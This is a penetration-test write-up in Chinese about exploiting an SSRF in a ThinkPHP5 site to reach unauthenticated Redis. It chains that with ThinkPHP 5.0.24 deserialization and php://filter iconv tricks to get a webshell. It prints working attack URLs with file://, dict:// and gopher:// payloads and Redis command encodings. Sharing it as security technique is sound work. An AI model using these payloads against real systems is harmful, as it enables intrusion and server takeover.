一次“SSRF-->RCE”的艰难利用

乐清小俊杰@Pentes7eam

前言

一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有一处比较有意思的地方,抽象出来与大家分享。

发现SSRF

目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:

public function httpGet($url=""){

        $curl = curl_init();

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 8);
        //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
        curl_setopt($curl, CURLOPT_URL, $url);

        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }

利用SSRF漏洞读取ThinkPHP5配置文件:
http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

如上图所示,目标业务系统采用Redis缓存数据,且密码为空。

利用gopher协议尝试获取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明。

尝试利用dict协议,成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

尝试Redis 写shell

上述信息中显示,Redis服务的PID 为3517,查看/proc/3517/status文件。
其Redis服务用户权限为Redis
而目标Web服务器为Nginx,其用户权限为www-data,故利用Redis写shell,执行flushall操作后可能无法直接还原数据,需要通过本地提权获得ROOT用户。由于存在不确定性,故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时
dict://127.0.0.1:6379/set d '<?php phpinfo();?>'
无法使用“?”符号,如下图所示

翻阅Redis文档,发现可以使用bitop命令
bitop知识相关链接地址为:https://redis.io/commands/bitop,该命令可以对Redis缓存值按位计算并获取结果保存,如下图所示:

执行save操作后访问目标发现回显500错误,猜测原因可能如下:

  • 目标redis数据过大(目标存在10w+ keys),导致超过PHP 执行文件大小;
  • 可能是数据中存在与PHP代码相似数据,解析出现语法错误,导致无法执行。

利用ThinkPHP 反序列化

查看ThinkPHP的Redis的获取数据代码,发现如果值以think_serialize:开头就可以触发反序列化。

目标ThinkPHP的版本为 5.0.24,该版本存在已知反序列化写文件漏洞,相关漏洞细节链接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码,直接生成的反序列化数据如下(数据前加上了`think_serialize:`)

测试发现由于反序列化数据流中存在\x00,导致程序报错,如下图所示:

测试发现反序列化数据流中存在:,dict协议无法传输。

结合bitop not命令,先对数据进行取反,进入redis后,再取反,得到真正的反序列化数据。过程下图所示。

至此,只要访问代码中触发缓存的点即可触发ThinkPHP5反序列化。

修改反序列化利用代码

ThinkPHP反序列化漏洞最终的写入点为
file_put_contents($a,'<?php exit();'.$a)
需要使用php://filter协议来绕过,原有漏洞利用代码:
php://filter/write=string.rot13/resource=xx<?php使用的rot13反转,虽然绕过了exit();但是会导致输出文件出现<?cur 如下图所示

经测试目标返回500,推测是开启了php短标签导致语法错误,这估计也是前面Redis写shell出现 500状态码的原因。

经过大量尝试,最终发现使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd
iconv.UCS-4LE.UCS-4BE 函数会将目标4位一反转,从而绕过短标签。

但测试发现目标关键文件始终为空,而本地却可以生成。测试使用写入数据为aaaa仍为空。图为本地生成的关键文件

猜测目标开启了php strict模式,关键文件的总字符数不能被4整除(除后余2,如果添加2字符,则写入数据不能正常显示为shell)导致写入为空。
最后尝试php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。
iconv.UCS-2LE.UCS-2BE为2位一反转。

gopher协议再验证

重新测试gopher协议。最后发现gopher协议会自动url解码一次。

通过nc 对比gopher和dict协议后发现,dict会自动加上quit命令 XD

于是成功让gopher有回显,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit
如下图所示:

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit时,仍然超时,猜测可能被截断,但是对比nc数据包发现和发送数据一致。

尝试将数据包直接导入redis

发现并没有修改成功,尝试导入redis-cli

修改成aa? 那么真相只有一个 -> 我是菜鸡
redis-cli 的命令会被转化。如下图所示:

于是使用如上图的方式即可传入\x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

其他

经测试也可以使用 Redis bitfield命令(相关命令说明链接:https://redis.io/commands/bitfield)来快速设置字符:

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖